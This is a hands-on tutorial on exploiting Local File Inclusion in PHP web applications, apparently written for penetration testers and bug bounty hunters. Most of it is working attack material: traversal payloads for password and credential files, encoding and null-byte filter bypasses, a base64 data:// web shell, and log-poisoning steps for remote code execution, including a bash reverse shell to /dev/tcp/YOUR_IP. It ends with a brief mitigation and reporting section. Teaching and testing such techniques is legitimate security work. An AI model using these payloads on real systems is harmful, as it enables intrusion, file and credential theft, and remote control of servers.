
Local File Inclusion (LFI) is one of the most consistently found vulnerabilities in web applications — appearing in OSCP labs, bug bounty programs, and real-world production environments alike. Unlike more complex vulnerabilities, LFI is often simple to detect and can escalate quickly from reading sensitive files all the way to Remote Code Execution (RCE) when chained correctly.
This guide walks you through everything: how LFI works, how to find it, the most reliable payloads and filter bypass techniques, and how to escalate it to RCE using log poisoning. No fluff — just working techniques you can apply immediately.
⚠️ Ethical Reminder: Only test on systems you own or have explicit written authorisation to test. Unauthorised access is illegal under the CFAA and equivalent laws worldwide. All examples in this guide should be reproduced in controlled lab environments only.
Table of Contents
- What is Local File Inclusion?
- Finding Injection Points
- Basic Payloads & Target Files
- Filter Bypass Techniques
- Escalating LFI to Remote Code Execution
- Useful Tools
- Quick-Reference Checklist
- Mitigation & Reporting
1. What is Local File Inclusion?
LFI occurs when a web application allows user-supplied input to specify which file the server should load or include — without properly validating or sanitising that input. This is most commonly seen in PHP applications that use dynamic file inclusion to load page templates.
A classic vulnerable PHP snippet looks like this:
// Vulnerable PHP code
$page = $_GET['page'];
include('pages/' . $page . '.php');
If an attacker passes ?page=../../../../etc/passwd, the server will attempt to read /etc/passwd instead of the intended page file. If the file is readable by the web server process, its contents will be returned in the response. That is LFI.
LFI is distinct from Remote File Inclusion (RFI), where the attacker supplies a URL to an external file. LFI is limited to files that already exist on the server, but as we will see, that is often enough to achieve full system compromise.
2. Finding Injection Points
The first step is identifying parameters that are used to load files. These are your targets:
- URL parameters:
?page=home, ?file=about, ?template=main, ?include=header
- POST body parameters referencing files
- Cookie values used to select templates or language files
- HTTP headers such as
X-Forwarded-For or Accept-Language in some configurations
Once you have identified a candidate parameter, inject a basic traversal string and observe the response:
https://target.com/index.php?page=../../../../etc/passwd
Signs of successful LFI include: the contents of /etc/passwd appearing in the response, a PHP error revealing the file path the server tried to open, or a blank page where there was previously content (the file was included but produced no output).
💡 Pro Tip: Use Burp Suite to intercept all requests. Filter for parameters containing keywords like: file, page, path, template, include, load, view, doc, content. These are your highest-probability targets for LFI.
3. Basic Payloads & Target Files
Start with the most commonly readable files and escalate based on what you find.
| Payload | Target File | OS |
../../../../etc/passwd | User accounts (readable by all) | Linux |
../../../../etc/shadow | Password hashes (requires root) | Linux |
../../../../proc/self/environ | Environment variables | Linux |
../../../../proc/self/cmdline | Current process command | Linux |
../../../../var/log/apache2/access.log | Apache access log | Linux |
../../../../var/log/nginx/access.log | Nginx access log | Linux |
../../../../etc/hosts | Network hosts file | Linux |
../../../../windows/win.ini | Windows config | Windows |
../../../../windows/system32/drivers/etc/hosts | Hosts file | Windows |
The ../../../../ prefix traverses up the directory tree to the root. The number of ../ sequences needed depends on where the application is running from. In practice, adding more than necessary (6–8) is safe — the OS will stop at root regardless.
4. Filter Bypass Techniques
Many applications implement basic filters that strip ../ sequences or block specific file paths. These are the most reliable bypass techniques tested against real-world defences.
4.1 Double Encoding
When the server URL-decodes input before the filter runs, standard ../ gets blocked. Double encoding bypasses this:
# Single encoded
..%2F..%2F..%2Fetc%2Fpasswd
# Double encoded (decoded once by WAF, once by server)
..%252F..%252F..%252Fetc%252Fpasswd
# Full URL encoded traversal
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
4.2 Null Byte Injection
In PHP versions below 5.3.4, a null byte (%00) terminates the string, stripping any suffix the developer appended (like .php):
# Strips the .php suffix appended by the application
?page=../../../../etc/passwd%00
4.3 Path Truncation
PHP has a maximum path length. By padding the path with enough dot-slash sequences, you can cause the appended suffix to be truncated:
?page=../../../../etc/passwd/./././././././././././././././.
4.4 PHP Stream Wrappers
PHP wrappers are powerful because they bypass file path restrictions entirely and operate at the PHP engine level.
# Read source code of any PHP file as base64
?page=php://filter/convert.base64-encode/resource=index.php
# Execute PHP code via data:// wrapper
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# (decodes to: <?php system($_GET['cmd']); ?>)
# Execute code via php://input (POST body)
?page=php://input
# POST body: <?php system('id'); ?>
🔴 High Impact: The php://filter wrapper allows you to read the source code of the application itself, potentially exposing database credentials, API keys, and business logic. The data:// and php://input wrappers can lead directly to Remote Code Execution. Always try these before giving up on an LFI.
5. Escalating LFI to Remote Code Execution
LFI becomes significantly more dangerous when you can write attacker-controlled data to a file the server will later include. The most reliable path is log poisoning.
5.1 Apache/Nginx Log Poisoning
Web servers log every incoming request, including the User-Agent header. If you can read the log file via LFI, you can also poison it with PHP code and execute it.
Step 1 — Confirm log access via LFI
?page=../../../../var/log/apache2/access.log
?page=../../../../var/log/nginx/access.log
?page=../../../../var/log/httpd/access_log # CentOS/RHEL
Step 2 — Inject PHP into the User-Agent header
The server logs the User-Agent verbatim. Send a request with PHP code as your User-Agent:
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
Step 3 — Execute commands via the included log
?page=../../../../var/log/apache2/access.log&cmd=id
# Escalate to a reverse shell:
?page=../../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>&+/dev/tcp/YOUR_IP/4444+0>&1'
5.2 SSH Log Poisoning
If SSH is running and you can read /var/log/auth.log, inject PHP by attempting to SSH with a PHP payload as the username:
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# Then include the auth log via LFI
?page=../../../../var/log/auth.log&cmd=id
5.3 /proc/self/environ Code Execution
On some older Linux systems, /proc/self/environ contains environment variables including HTTP headers. Injecting PHP into the User-Agent and including the file via LFI can achieve RCE:
curl -A "<?php system('id'); ?>" \
'http://target.com/?page=../../../../proc/self/environ'
⚠️ Note: /proc/self/environ RCE is mostly patched in modern distributions. Log poisoning via Apache/Nginx logs is far more reliable against current targets.
6. Useful Tools
| Tool | Purpose |
| Burp Suite | Intercept requests, fuzz parameters, analyse responses |
| ffuf | High-speed fuzzing of file paths and parameters |
| wfuzz | Parameter fuzzing with SecLists wordlists |
| LFISuite | Automated LFI scanner and exploiter with bypass modes |
SecLists /Fuzzing/LFI/ | Quality traversal and file path wordlists |
| curl | Manual payload testing with custom headers |
7. Quick-Reference Checklist
Work through this checklist systematically on every target.
- Reconnaissance — Identify all parameters that reference or load files (
page, file, path, template, include, load, doc, view)
- Basic test — Inject
../../../../etc/passwd and observe the response
- Null byte — Try
../../../../etc/passwd%00 if the app appends a suffix
- Encoding bypasses — Try
%2e%2e%2f, double encoding (%252f), and mixed encoding
- PHP wrappers — Test
php://filter/convert.base64-encode/resource=index.php
- Data wrapper — Try
data://text/plain;base64,<payload> for direct code execution
- Log file access — Check Apache, Nginx, and SSH log files via LFI
- Log poisoning — Inject PHP in User-Agent, then include the log file
- Documentation — Screenshot every step. Capture the exact request and response for each finding.
8. Mitigation & Reporting
Understanding how to fix LFI makes you a more complete tester and improves the quality of your bug bounty reports.
- Avoid dynamic file inclusion — Never pass user input directly to
include(), require(), or file_get_contents(). Use a whitelist of allowed page names instead.
- Whitelist approach — Map user-supplied values to internal file paths. If
page=home, include pages/home.php — never include the user value directly.
- Disable dangerous PHP wrappers — Set
allow_url_fopen = Off and allow_url_include = Off in php.ini.
- Canonicalise paths — Use
realpath() to resolve the full path, then verify it starts with the expected base directory before including.
- Least privilege — The web server process should not have read access to
/etc/shadow, logs outside /var/log/apache2, or sensitive application files.
Bug Bounty Report Structure
- Title — “LFI in ?page parameter allows reading /etc/passwd and server logs”
- Steps to reproduce — Numbered steps with exact URL, payload, and expected response
- Impact — What files are readable? Can this escalate to RCE? Is there a data breach risk?
- Screenshots — Show
/etc/passwd or another sensitive file in the response
- Remediation — Suggest the whitelist approach above